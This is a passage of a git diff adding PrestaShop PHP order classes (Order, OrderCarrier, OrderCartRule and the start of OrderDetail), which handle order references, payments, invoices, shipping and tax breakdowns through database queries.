getByReference($reference) + { + $orders = new Collection('Order'); + $orders->where('reference', '=', $reference); + return $orders; + } + + public function getTotalWeight() + { + $result = Db::getInstance(_PS_USE_SQL_SLAVE_)->getRow(' + SELECT SUM(product_weight * product_quantity) weight + FROM '._DB_PREFIX_.'order_detail + WHERE id_order = '.(int)($this->id)); + + return (float)($result['weight']); + } + + /** + * + * @param int $id_invoice + * @deprecated 1.5.0.1 + */ + public static function getInvoice($id_invoice) + { + Tools::displayAsDeprecated(); + return Db::getInstance(_PS_USE_SQL_SLAVE_)->getRow(' + SELECT `invoice_number`, `id_order` + FROM `'._DB_PREFIX_.'orders` + WHERE invoice_number = '.(int)($id_invoice)); + } + + public function isAssociatedAtGuest($email) + { + if (!$email) + return false; + $sql = 'SELECT COUNT(*) + FROM `'._DB_PREFIX_.'orders` o + LEFT JOIN `'._DB_PREFIX_.'customer` c ON (c.`id_customer` = o.`id_customer`) + WHERE o.`id_order` = '.(int)$this->id.' + AND c.`email` = \''.pSQL($email).'\' + AND c.`is_guest` = 1 + '.Shop::addSqlRestriction(false, 'c'); + return (bool)Db::getInstance()->getValue($sql); + } + + /** + * @param int $id_order + * @param int $id_customer optionnal + * @return int id_cart + */ + public static function getCartIdStatic($id_order, $id_customer = 0) + { + return (int)Db::getInstance(_PS_USE_SQL_SLAVE_)->getValue(' + SELECT `id_cart` + FROM `'._DB_PREFIX_.'orders` + WHERE `id_order` = '.(int)$id_order.' + '.($id_customer ? 'AND `id_customer` = '.(int)$id_customer : '')); + } + + public function getWsOrderRows() + { + $query = 'SELECT id_order_detail as `id`, `product_id`, `product_price`, `id_order`, `product_attribute_id`, `product_quantity`, `product_name` + FROM `'._DB_PREFIX_.'order_detail` + WHERE id_order = '.(int)$this->id; + $result = Db::getInstance()->executeS($query); + return $result; + } + + /** Set current order state + * @param int $id_order_state + * @param int $id_employee (/!\ not optional except for Webservice. + */ + public function setCurrentState($id_order_state, $id_employee = 0) + { + if (empty($id_order_state)) + return false; + $history = new OrderHistory(); + $history->id_order = (int)$this->id; + $history->id_employee = (int)$id_employee; + $history->changeIdOrderState((int)$id_order_state, $this); + $res = Db::getInstance()->getRow(' + SELECT `invoice_number`, `invoice_date`, `delivery_number`, `delivery_date` + FROM `'._DB_PREFIX_.'orders` + WHERE `id_order` = '.(int)$this->id); + $this->invoice_date = $res['invoice_date']; + $this->invoice_number = $res['invoice_number']; + $this->delivery_date = $res['delivery_date']; + $this->delivery_number = $res['delivery_number']; + $this->update(); + + $history->addWithemail(); + } + + public function addWs($autodate = true, $nullValues = false) + { + $paymentModule = Module::getInstanceByName($this->module); + $customer = new Customer($this->id_customer); + $paymentModule->validateOrder($this->id_cart, Configuration::get('PS_OS_WS_PAYMENT'), $this->total_paid, $this->payment, null, array(), null, false, $customer->secure_key); + $this->id = $paymentModule->currentOrder; + return true; + } + + public function deleteAssociations() + { + return (Db::getInstance()->execute(' + DELETE FROM `'._DB_PREFIX_.'order_detail` + WHERE `id_order` = '.(int)($this->id)) !== false); + } + + /** + * This method return the ID of the previous order + * @since 1.5.0.1 + * @return int + */ + public function getPreviousOrderId() + { + return Db::getInstance()->getValue(' + SELECT id_order + FROM '._DB_PREFIX_.'orders + WHERE id_order < '.(int)$this->id.' + ORDER BY id_order DESC'); + } + + /** + * This method return the ID of the next order + * @since 1.5.0.1 + * @return int + */ + public function getNextOrderId() + { + return Db::getInstance()->getValue(' + SELECT id_order + FROM '._DB_PREFIX_.'orders + WHERE id_order > '.(int)$this->id.' + ORDER BY id_order ASC'); + } + + /** + * Get the an order detail list of the current order + * @return array + */ + public function getOrderDetailList() + { + return OrderDetail::getList($this->id); + } + + /** + * Gennerate a unique reference for orders generated with the same cart id + * This references, is usefull for check payment + * + * @return String + */ + public static function generateReference() + { + return strtoupper(Tools::passwdGen(9, 'NO_NUMERIC')); + } + + public function orderContainProduct($id_product) + { + $product_list = $this->getOrderDetailList(); + foreach ($product_list as $product) + if ($product['product_id'] == (int)$id_product) + return true; + return false; + } + /** + * This method returns true if at least one order details uses the + * One After Another tax computation method. + * + * @since 1.5.0.1 + * @return boolean + */ + public function useOneAfterAnotherTaxComputationMethod() + { + // if one of the order details use the tax computation method the display will be different + return Db::getInstance()->getValue(' + SELECT od.`tax_computation_method` + FROM `'._DB_PREFIX_.'order_detail_tax` odt + LEFT JOIN `'._DB_PREFIX_.'order_detail` od ON (od.`id_order_detail` = odt.`id_order_detail`) + WHERE od.`id_order` = '.(int)$this->id.' + AND od.`tax_computation_method` = '.(int)TaxCalculator::ONE_AFTER_ANOTHER_METHOD + ); + } + + /** + * This method allows to get all Order Payment for the current order + * @since 1.5.0.1 + * @return Collection of Order Payment + */ + public function getOrderPaymentCollection() + { + $order_payments = new Collection('OrderPayment'); + $order_payments->where('order_reference', '=', $this->reference); + return $order_payments; + } + + /** + * + * This method allows to add a payment to the current order + * @since 1.5.0.1 + * @param float $amount_paid + * @param string $payment_method + * @param string $payment_transaction_id + * @param Currency $currency + * @param string $date + * @param OrderInvoice $order_invoice + * @return bool + */ + public function addOrderPayment($amount_paid, $payment_method = null, $payment_transaction_id = null, $currency = null, $date = null, $order_invoice = null) + { + $order_payment = new OrderPayment(); + $order_payment->order_reference = $this->reference; + $order_payment->id_currency = ($currency ? $currency->id : $this->id_currency); + // we kept the currency rate for historization reasons + $order_payment->conversion_rate = ($currency ? $currency->conversion_rate : 1); + // if payment_method is define, we used this + $order_payment->payment_method = ($payment_method ? $payment_method : $this->payment); + $order_payment->transaction_id = $payment_transaction_id; + $order_payment->amount = $amount_paid; + $order_payment->date_add = ($date ? $date : null); + + // Update total_paid_real value for backward compatibility reasons + if ($order_payment->id_currency == $this->id_currency) + $this->total_paid_real += $order_payment->amount; + else + $this->total_paid_real += Tools::ps_round(Tools::convertPrice($order_payment->amount, $order_payment->id_currency, false), 2); + + // We put autodate parameter of add method to true if date_add field is null + $res = $order_payment->add(is_null($order_payment->date_add)) && $this->update(); + + if (!$res) + return false; + + if (!is_null($order_invoice)) + { + $res = Db::getInstance()->execute(' + INSERT INTO `'._DB_PREFIX_.'order_invoice_payment` + VALUES('.(int)$order_invoice->id.', '.(int)$order_payment->id.', '.(int)$this->id.')'); + } + + return $res; + } + + /** + * Returns the correct product taxes breakdown. + * + * Get all documents linked to the current order + * + * @since 1.5.0.1 + * @return array + */ + public function getDocuments() + { + $invoices = $this->getInvoicesCollection()->getResults(); + $delivery_slips = $this->getDeliverySlipsCollection()->getResults(); + // @TODO review + foreach ($delivery_slips as $delivery) + { + $delivery->is_delivery = true; + $delivery->date_add = $delivery->delivery_date; + } + $order_slips = $this->getOrderSlipsCollection()->getResults(); + + // @TODO review + function sortDocuments($a, $b) + { + if ($a->date_add == $b->date_add) + return 0; + return ($a->date_add < $b->date_add) ? -1 : 1; + } + + $documents = array_merge($invoices, $order_slips, $delivery_slips); + usort($documents, 'sortDocuments'); + + return $documents; + } + + public function getReturn() + { + return OrderReturn::getOrdersReturn($this->id_customer, $this->id); + } + + /** + * @return array return all shipping method for the current order + * state_name sql var is now deprecated - use order_state_name for the state name and carrier_name for the carrier_name + */ + public function getShipping() + { + return Db::getInstance()->executeS(' + SELECT DISTINCT oc.`id_order_invoice`, oc.`weight`, oc.`shipping_cost_tax_excl`, oc.`shipping_cost_tax_incl`, c.`url`, oc.`id_carrier`, c.`name` as `carrier_name`, oc.`date_add`, "Delivery" as `type`, "true" as `can_edit`, oc.`tracking_number`, oc.`id_order_carrier`, osl.`name` as order_state_name, c.`name` as state_name + FROM `'._DB_PREFIX_.'orders` o + LEFT JOIN `'._DB_PREFIX_.'order_history` oh + ON (o.`id_order` = oh.`id_order`) + LEFT JOIN `'._DB_PREFIX_.'order_carrier` oc + ON (o.`id_order` = oc.`id_order`) + LEFT JOIN `'._DB_PREFIX_.'carrier` c + ON (oc.`id_carrier` = c.`id_carrier`) + LEFT JOIN `'._DB_PREFIX_.'order_state_lang` osl + ON (oh.`id_order_state` = osl.`id_order_state` AND osl.`id_lang` = '.(int)Context::getContext()->language->id.') + WHERE o.`id_order` = '.(int)$this->id.' + GROUP BY c.id_carrier'); + } + + + /** + * + * Get all order_slips for the current order + * @since 1.5.0.2 + * @return Collection of Order slip + */ + public function getOrderSlipsCollection() + { + $order_slips = new Collection('OrderSlip'); + $order_slips->where('id_order', '=', $this->id); + return $order_slips; + } + + /** + * + * Get all invoices for the current order + * @since 1.5.0.1 + * @return Collection of Order invoice + */ + public function getInvoicesCollection() + { + $order_invoices = new Collection('OrderInvoice'); + $order_invoices->where('id_order', '=', $this->id); + return $order_invoices; + } + + /** + * + * Get all delivery slips for the current order + * @since 1.5.0.2 + * @return Collection of Order invoice + */ + public function getDeliverySlipsCollection() + { + $order_invoices = new Collection('OrderInvoice'); + $order_invoices->where('id_order', '=', $this->id); + $order_invoices->where('delivery_number', '!=', '0'); + return $order_invoices; + } + + /** + * Get all not paid invoices for the current order + * @since 1.5.0.2 + * @return Collection of Order invoice not paid + */ + public function getNotPaidInvoicesCollection() + { + $invoices = $this->getInvoicesCollection(); + foreach ($invoices as $key => $invoice) + if ($invoice->isPaid()) + unset($invoices[$key]); + return $invoices; + } + + /** + * Get total paid + * + * @since 1.5.0.1 + * @param Currency $currency currency used for the total paid of the current order + * @return float amount in the $currency + */ + public function getTotalPaid($currency = null) + { + if (!$currency) + $currency = new Currency($this->id_currency); + + $total = 0; + // Retrieve all payments + $payments = $this->getOrderPaymentCollection(); + foreach ($payments as $payment) + { + if ($payment->id_currency == $currency->id) + $total += $payment->amount; + else + { + $amount = Tools::convertPrice($payment->amount, $payment->id_currency, false); + if ($currency->id == Configuration::get('PS_DEFAULT_CURRENCY', null, null, $this->id_shop)) + $total += $amount; + else + $total += Tools::convertPrice($amount, $currency->id, true); + } + } + + return Tools::ps_round($total, 2); + } + + /** + * Get the sum of total_paid_tax_incl of the orders with similar reference + * + * @since 1.5.0.1 + * @return float + */ + public function getOrdersTotalPaid() + { + return Db::getInstance()->getValue(' + SELECT SUM(total_paid_tax_incl) + FROM `'._DB_PREFIX_.'orders` + WHERE `reference` = '.(int)$this->reference.' + AND `id_cart` = '.(int)$this->id_cart + ); + } + + /** + * + * This method allows to change the shipping cost of the current order + * @since 1.5.0.1 + * @param float $amount + * @return bool + */ + public function updateShippingCost($amount) + { + $difference = $amount - $this->total_shipping; + // if the current amount is same as the new, we return true + if ($difference == 0) + return true; + + // update the total_shipping value + $this->total_shipping = $amount; + // update the total of this order + $this->total_paid += $difference; + + // update database + return $this->update(); + } + + /** + * Returns the correct product taxes breakdown. + * + * @since 1.5.0.1 + * @return array + */ + public function getProductTaxesBreakdown() + { + $tmp_tax_infos = array(); + if ($this->useOneAfterAnotherTaxComputationMethod()) + { + // sum by taxes + $taxes_by_tax = Db::getInstance()->executeS(' + SELECT odt.`id_order_detail`, t.`name`, t.`rate`, SUM(`total_amount`) AS `total_amount` + FROM `'._DB_PREFIX_.'order_detail_tax` odt + LEFT JOIN `'._DB_PREFIX_.'tax` t ON (t.`id_tax` = odt.`id_tax`) + LEFT JOIN `'._DB_PREFIX_.'order_detail` od ON (od.`id_order_detail` = odt.`id_order_detail`) + WHERE od.`id_order` = '.(int)$this->id.' + GROUP BY odt.`id_tax` + '); + + // format response + $tmp_tax_infos = array(); + foreach ($taxes_infos as $tax_infos) + { + $tmp_tax_infos[$tax_infos['rate']]['total_amount'] = $tax_infos['tax_amount']; + $tmp_tax_infos[$tax_infos['rate']]['name'] = $tax_infos['name']; + } + } + else + { + // sum by order details in order to retrieve real taxes rate + $taxes_infos = Db::getInstance()->executeS(' + SELECT odt.`id_order_detail`, t.`rate` AS `name`, SUM(od.`total_price_tax_excl`) AS total_price_tax_excl, SUM(t.`rate`) AS rate, SUM(`total_amount`) AS `total_amount` + FROM `'._DB_PREFIX_.'order_detail_tax` odt + LEFT JOIN `'._DB_PREFIX_.'tax` t ON (t.`id_tax` = odt.`id_tax`) + LEFT JOIN `'._DB_PREFIX_.'order_detail` od ON (od.`id_order_detail` = odt.`id_order_detail`) + WHERE od.`id_order` = '.(int)$this->id.' + GROUP BY odt.`id_order_detail` + '); + + // sum by taxes + $tmp_tax_infos = array(); + foreach ($taxes_infos as $tax_infos) + { + if (!isset($tmp_tax_infos[$tax_infos['rate']])) + $tmp_tax_infos[$tax_infos['rate']] = array('total_amount' => 0, + 'name' => 0, + 'total_price_tax_excl' => 0); + + $tmp_tax_infos[$tax_infos['rate']]['total_amount'] += $tax_infos['total_amount']; + $tmp_tax_infos[$tax_infos['rate']]['name'] = $tax_infos['name']; + $tmp_tax_infos[$tax_infos['rate']]['total_price_tax_excl'] += $tax_infos['total_price_tax_excl']; + } + } + + return $tmp_tax_infos; + } + + /** + * Returns the shipping taxes breakdown + * + * @since 1.5.0.1 + * @return array + */ + public function getShippingTaxesBreakdown() + { + $taxes_breakdown = array(); + + $shipping_tax_amount = $this->total_shipping_tax_incl - $this->total_shipping_tax_excl; + + if ($shipping_tax_amount > 0) + $taxes_breakdown[] = array( + 'rate' => $this->carrier_tax_rate, + 'total_amount' => $shipping_tax_amount + ); + + return $taxes_breakdown; + } + + /** + * Returns the wrapping taxes breakdown + * @todo + + * @since 1.5.0.1 + * @return array + */ + public function getWrappingTaxesBreakdown() + { + $taxes_breakdown = array(); + return $taxes_breakdown; + } + + /** + * Returns the ecotax taxes breakdown + * + * @since 1.5.0.1 + * @return array + */ + public function getEcoTaxTaxesBreakdown() + { + return Db::getInstance()->executeS(' + SELECT `ecotax_tax_rate`, SUM(`ecotax`) as `ecotax_tax_excl`, SUM(`ecotax`) as `ecotax_tax_incl` + FROM `'._DB_PREFIX_.'order_detail` + WHERE `id_order` = '.(int)$this->id + ); + } + + /** + * + * Has invoice return true if this order has already an invoice + * @return bool + */ + public function hasInvoice() + { + if (Db::getInstance()->getRow(' + SELECT * + FROM `'._DB_PREFIX_.'order_invoice` + WHERE `id_order` = '.(int)$this->id)) + return true; + return false; + } + + /** + * Get warehouse associated to the order + * + * return array List of warehouse + */ + public function getWarehouseList() + { + $results = Db::getInstance()->executeS(' + SELECT id_warehouse + FROM `'._DB_PREFIX_.'order_detail` + WHERE `id_order` = '.(int)$this->id.' + GROUP BY id_warehouse'); + if (!$results) + return array(); + + $warehouse_list = array(); + foreach ($results as $row) + $warehouse_list[] = $row['id_warehouse']; + + return $warehouse_list; + } + + /** + * @since 1.5.0.4 + * @return OrderState or null if Order haven't a state + */ + public function getCurrentOrderState() + { + if ($this->current_state) + return new OrderState($this->current_state); + return null; + } + + /** + * @see ObjectModel::getWebserviceObjectList() + */ + public function getWebserviceObjectList($sql_join, $sql_filter, $sql_sort, $sql_limit) + { + $sql_filter .= Shop::addSqlRestriction(Shop::SHARE_ORDER, 'main'); + return parent::getWebserviceObjectList($sql_join, $sql_filter, $sql_sort, $sql_limit); + } + + /** + * Get all other orders with the same reference + * + * @since 1.5.0.13 + */ + public function getBrother() + { + $collection = new Collection('order'); + $collection->where('reference', '=', $this->reference); + $collection->where('id_order', '<>', $this->id); + return $collection; + } + + /** + * Get a collection of order payments + * + * @since 1.5.0.13 + */ + public function getOrderPayments() + { + return OrderPayment::getByOrderReference($this->reference); + } + + /** + * Return a unique reference like : GWJTHMZUN#2 + * + * With multishipping, order reference are the same for all orders made with the same cart + * in this case this method suffix the order reference by a # and the order number + * + * @since 1.5.0.14 + */ + public function getUniqReference() + { + $query = new DbQuery(); + $query->select('MIN(id_order) as min, MAX(id_order) as max'); + $query->from('orders'); + $query->where('id_cart = '.(int)$this->id_cart); + + $order = Db::getInstance()->getRow($query); + + if ($order['min'] == $order['max']) + return $this->reference; + else + return $this->reference.'#'.($this->id + 1 - $order['min']); + } + + /** + * Return a unique reference like : GWJTHMZUN#2 + * + * With multishipping, order reference are the same for all orders made with the same cart + * in this case this method suffix the order reference by a # and the order number + * + * @since 1.5.0.14 + */ + public static function getUniqReferenceOf($id_order) + { + $order = new Order($id_order); + return $order->getUniqReference(); + } +} + diff --git a/classes/order/OrderCarrier.php b/classes/order/OrderCarrier.php new file mode 100755 index 0000000..6a15e2b --- /dev/null +++ b/classes/order/OrderCarrier.php @@ -0,0 +1,80 @@ +<?php +/* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Open Software License (OSL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/osl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA <contact@prestashop.com> +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +class OrderCarrierCore extends ObjectModel +{ + /** @var integer */ + public $id_order_carrier; + + /** @var integer */ + public $id_order; + + /** @var integer */ + public $id_carrier; + + /** @var integer */ + public $id_order_invoice; + + /** @var float */ + public $weight; + + /** @var float */ + public $shipping_cost_tax_excl; + + /** @var float */ + public $shipping_cost_tax_incl; + + /** @var integer */ + public $tracking_number; + + /** @var string Object creation date */ + public $date_add; + + /** + * @see ObjectModel::$definition + */ + public static $definition = array( + 'table' => 'order_carrier', + 'primary' => 'id_order_carrier', + 'fields' => array( + 'id_order' => array('type' => self::TYPE_INT, 'validate' => 'isUnsignedId', 'required' => true), + 'id_carrier' => array('type' => self::TYPE_INT, 'validate' => 'isUnsignedId', 'required' => true), + 'id_order_invoice' => array('type' => self::TYPE_INT, 'validate' => 'isUnsignedId'), + 'weight' => array('type' => self::TYPE_FLOAT, 'validate' => 'isFloat'), + 'shipping_cost_tax_excl' => array('type' => self::TYPE_FLOAT, 'validate' => 'isFloat'), + 'shipping_cost_tax_incl' => array('type' => self::TYPE_FLOAT, 'validate' => 'isFloat'), + 'tracking_number' => array('type' => self::TYPE_STRING, 'validate' => 'isTrackingNumber'), + 'date_add' => array('type' => self::TYPE_DATE, 'validate' => 'isDate'), + ), + ); + + protected $webserviceParameters = array( + 'fields' => array( + 'id_order' => array('xlink_resource' => 'orders'), + 'id_carrier' => array('xlink_resource' => 'carriers'), + ), + ); +} diff --git a/classes/order/OrderCartRule.php b/classes/order/OrderCartRule.php new file mode 100755 index 0000000..3eceb17 --- /dev/null +++ b/classes/order/OrderCartRule.php @@ -0,0 +1,72 @@ +<?php +/* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Open Software License (OSL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/osl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA <contact@prestashop.com> +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +class OrderCartRuleCore extends ObjectModel +{ + /** @var integer */ + public $id_order_cart_rule; + + /** @var integer */ + public $id_order; + + /** @var integer */ + public $id_cart_rule; + + /** @var integer */ + public $id_order_invoice; + + /** @var string */ + public $name; + + /** @var float value (tax incl.) of voucher */ + public $value; + + /** @var float value (tax excl.) of voucher */ + public $value_tax_excl; + + /** + * @see ObjectModel::$definition + */ + public static $definition = array( + 'table' => 'order_cart_rule', + 'primary' => 'id_order_cart_rule', + 'fields' => array( + 'id_order' => array('type' => self::TYPE_INT, 'validate' => 'isUnsignedId', 'required' => true), + 'id_cart_rule' => array('type' => self::TYPE_INT, 'validate' => 'isUnsignedId', 'required' => true), + 'id_order_invoice' => array('type' => self::TYPE_INT, 'validate' => 'isUnsignedId'), + 'name' => array('type' => self::TYPE_STRING, 'validate' => 'isCleanHtml', 'required' => true), + 'value' => array('type' => self::TYPE_FLOAT, 'validate' => 'isFloat', 'required' => true), + 'value_tax_excl' => array('type' => self::TYPE_FLOAT, 'validate' => 'isFloat', 'required' => true) + ) + ); + + protected $webserviceParameters = array( + 'fields' => array( + 'id_order' => array('xlink_resource' => 'orders'), + ), + ); +} + diff --git a/classes/order/OrderDetail.php b/classes/order/OrderDetail.php new file mode 100755 index 0000000..a21486b --- /dev/null +++ b/classes/order/OrderDetail.php @@ -0,0 +1,657 @@ +<?php +/* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Open Software License (OSL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/osl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA <contact@prestashop.com> +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +class OrderDetailCore extends ObjectModel +{ + /** @var integer */ + public $id_order_detail; + + /** @var integer */ + public $id_order; + + /** @var integer */ + public $id_order_invoice; + + /** @var integer */ + public $product_id; + + /** @var integer */ + public $id_shop; + + /** @var integer */ + public $product_attribute_id; + + /** @var string */ + public $product_name; + + /** @var integer */ + public $product_quantity; + + /** @var integer */ + public $product_quantity_in_stock; + + /** @var integer */ + public $product_quantity_return; + + /** @var integer */ + public $product_quantity_refunded; + + /** @var integer */ + public $product_quantity_reinjected; + + /** @var float */ + public $product_price; + + /** @var float */ + public $original_product_price; + + /** @var float */ + public $unit_price_tax_incl; + + /** @var float */ + public $unit_price_tax_excl; + + /** @var float */ + public $total_price_tax_incl; + + /** @var float */ + public $total_price_tax_excl; + + /** @var float */ + public $reduction_percent; + + /** @var float */ + public $reduction_amount; + + /** @var float */ + public $reduction_amount_tax_excl; + + /** @var float */ + public $reduction_amount_tax_incl; + + /** @var float */ + public $group_reduction; + + /** @var float */ + public $product_quantity_discount; + + /** @var string */ + public $product_ean13; + + /** @var string */ + public $product_upc; + + /** @var string */ + public $product_reference; + + /** @var string */ + public $product_supplier_reference; + + /** @var float */ + public $product_weight; + + /** @var float */ + public $ecotax; + + /** @var float */ + public $ecotax_tax_rate; + + /** @var integer */ + public $discount_quantity_applied; + + /** @var string */ + public $download_hash; + + /** @var integer */ + public $download_nb; + + /** @var date */ + public $download_deadline; + + /** @var string $tax_name **/ + public $tax_name; + + /** @var float $tax_rate **/ + public $tax_rate; + + /** @var float $tax_computation_method **/ + public $tax_computation_method; + + /** @var int Id warehouse */ + public $id_warehouse; + + /** @var float additional shipping price tax excl */ + public $total_shipping_price_tax_excl; + + /** @var float additional shipping price tax incl */ + public $total_shipping_price_tax_incl; + + /** @var float */ + public $purchase_supplier_price; + + /** + * @see ObjectModel::$definition + */ + public static $definition = array( + 'table' => 'order_detail', + 'primary' => 'id_order_detail', + 'fields' => array( + 'id_order' => array('type' => self::TYPE_INT, 'validate' => 'isUnsignedId', 'required' => true), + 'id_order_invoice' => array('type' => self::TYPE_INT, 'validate' => 'isUnsignedId'), + 'id_warehouse' => array('type' => self::TYPE_INT, 'validate' => 'isUnsignedId', 'required' => true), + 'id_shop' => array('type' => self::TYPE_INT, 'validate' => 'isUnsignedId', 'required' => true), + 'product_id' => array('type' => self::TYPE_INT, 'validate' => 'isUnsignedId'), + 'product_attribute_id' => array('type' => self::TYPE_INT, 'validate' => 'isUnsignedId'), + 'product_name' => array('type' => self::TYPE_STRING, 'validate' => 'isGenericName', 'required' => true), + 'product_quantity' => array('type' => self::TYPE_INT, 'validate' => 'isInt', 'required' => true), + 'product_quantity_in_stock' => array('type' => self::TYPE_INT, 'validate' => 'isInt'), + 'product_quantity_return' => array('type' => self::TYPE_INT, 'validate' => 'isUnsignedInt'), + 'product_quantity_refunded' => array('type' => self::TYPE_INT, 'validate' => 'isUnsignedInt'), + 'product_quantity_reinjected' =>array('type' => self::TYPE_INT, 'validate' => 'isUnsignedInt'), + 'product_price' => array('type' => self::TYPE_FLOAT, 'validate' => 'isPrice', 'required' => true), + 'reduction_percent' => array('type' => self::TYPE_FLOAT, 'validate' => 'isFloat'), + 'reduction_amount' => array('type' => self::TYPE_FLOAT, 'validate' => 'isPrice'), + 'reduction_amount_tax_incl' => array('type' => self::TYPE_FLOAT, 'validate' => 'isPrice'), + 'reduction_amount_tax_excl' => array('type' => self::TYPE_FLOAT, 'validate' => 'isPrice'), + 'group_reduction' => array('type' => self::TYPE_FLOAT, 'validate' => 'isFloat'), + 'product_quantity_discount' => array('type' => self::TYPE_FLOAT, 'validate' => 'isFloat'), + 'product_ean13' => array('type' => self::TYPE_STRING, 'validate' => 'isEan13'), + 'product_upc' => array('type' => self::TYPE_STRING, 'validate' => 'isUpc'), + 'product_reference' => array('type' => self::TYPE_STRING, 'validate' => 'isReference'), + 'product_supplier_reference' => array('type' => self::TYPE_STRING, 'validate' => 'isReference'), + 'product_weight' => array('type' => self::TYPE_FLOAT, 'validate' => 'isFloat'), + 'tax_name' => array('type' => self::TYPE_STRING, 'validate' => 'isGenericName'), + 'tax_rate' => array('type' => self::TYPE_FLOAT, 'validate' => 'isFloat'), + 'tax_computation_method' => array('type' => self::TYPE_INT, 'validate' => 'isUnsignedId'), + 'ecotax' => array('type' => self::TYPE_FLOAT, 'validate' => 'isFloat'), + 'ecotax_tax_rate' => array('type' => self::TYPE_FLOAT, 'validate' => 'isFloat'), + 'discount_quantity_applied' => array('type' => self::TYPE_INT, 'validate' => 'isInt'), + 'download_hash' => array('type' => self::TYPE_STRING, 'validate' => 'isGenericName'), + 'download_nb' => array('type' => self::TYPE_INT, 'validate' => 'isInt'), + 'download_deadline' => array('type' => self::TYPE_DATE, 'validate' => 'isDateFormat'), + 'unit_price_tax_incl' => array('type' => self::TYPE_FLOAT, 'validate' => 'isPrice'), + 'unit_price_tax_excl' => array('type' => self::TYPE_FLOAT, 'validate' => 'isPrice'), + 'total_price_tax_incl' => array('type' => self::TYPE_FLOAT, 'validate' => 'isPrice'), + 'total_price_tax_excl' => array('type' => self::TYPE_FLOAT, 'validate' => 'isPrice'), + 'purchase_supplier_price' => array('type' => self::TYPE_FLOAT, 'validate' => 'isPrice'), + 'original_product_price' => array('type' => self::TYPE_FLOAT, 'validate' => 'isPrice') + ), + ); + + protected $webserviceParameters = array( + 'fields' => array ( + 'id_order' => array('xlink_resource' => 'orders'), + 'product_id' => array('xlink_resource' => 'products'), + 'product_attribute_id' => array('xlink_resource' => 'combinations'), + 'product_quantity_reinjected' => array(), + 'group_reduction' => array(), + 'discount_quantity_applied' => array(), + 'download_hash' => array(), + 'download_deadline' => array() + ), + 'hidden_fields' => array('tax_rate', 'tax_name'), + 'associations' => array( + 'taxes' => array('resource' => 'tax', 'getter' => 'getWsTaxes', 'setter' => false, + 'fields' => array('id' => array(), ), + ), + )); + + /** @var bool */ + protected $outOfStock = false; + + /** @var TaxCalculator object */ + protected $tax_calculator = null; + + /** @var Address object */ + protected $vat_address = null; + + /** @var Address object */ + protected $specificPrice = null; + + /** @var Customer object */ + protected $customer = null; + + /** @var Context object */ + protected $context = null; + + public function __construct($id = null, $id_lang = null, $context = null) + { + $this->context = $context; + $id_shop = null; + if ($this->context != null && isset($this->context->shop)) + $id_shop = $this->context->shop->id; + parent::__construct($id, $id_lang, $id_shop); + + if ($context == null) + $context = Context::getContext(); + $this->context = $context->cloneContext(); + } + + public function delete() + { + if(!$res = parent::delete()) + return false; + + Db::getInstance()->delete('order_detail_tax', 'id_order_detail='.(int)$this->id); + + return $res; + } + + protected function setContext($id_shop) + { + if ($this->context->shop->id != $id_shop) + $this->context->shop = new Shop((int)$id_shop); + } + + public static function getDownloadFromHash($hash) + { + if ($hash == '') return false; + $sql = 'SELECT * + FROM `'._DB_PREFIX_.'order_detail` od + LEFT JOIN `'._DB_PREFIX_.'product_download` pd ON (od.`product_id`=pd.`id_product`) + WHERE od.`download_hash` = \''.pSQL(strval($hash)).'\' + AND pd.`active` = 1'; + return Db::getInstance(_PS_USE_SQL_SLAVE_)->getRow($sql); + } + + public static function incrementDownload($id_order_detail, $increment = 1) + { + $sql = 'UPDATE `'._DB_PREFIX_.'order_detail` + SET `download_nb` = `download_nb` + '.(int)$increment.' + WHERE `id_order_detail`= '.(int)$id_order_detail.' + LIMIT 1'; + return Db::getInstance()->execute($sql); + } + + /** + * Returns the tax calculator associated to this order detail. + * @since 1.5.0.1 + * @return TaxCalculator + */ + public function getTaxCalculator() + { + return OrderDetail::getTaxCalculatorStatic($this->id); + } + + /** + * Return the tax calculator associated to this order_detail + * @since 1.5.0.1 + * @param int $id_order_detail + * @return TaxCalculator + */ + public static function getTaxCalculatorStatic($id_order_detail) + { + $sql = 'SELECT t.*, d.`tax_computation_method` + FROM `'._DB_PREFIX_.'order_detail_tax` t + LEFT JOIN `'._DB_PREFIX_.'order_detail` d ON (d.`id_order_detail` = t.`id_order_detail`) + WHERE d.`id_order_detail` = '.(int)$id_order_detail; + + $computation_method = 1; + $taxes = array(); + if ($results = Db::getInstance()->executeS($sql)) + { + foreach ($results as $result) + $taxes[] = new Tax((int)$result['id_tax']); + + $computation_method = $result['tax_computation_method']; + } + + return new TaxCalculator($taxes, $computation_method); + } + + /** + * Save the 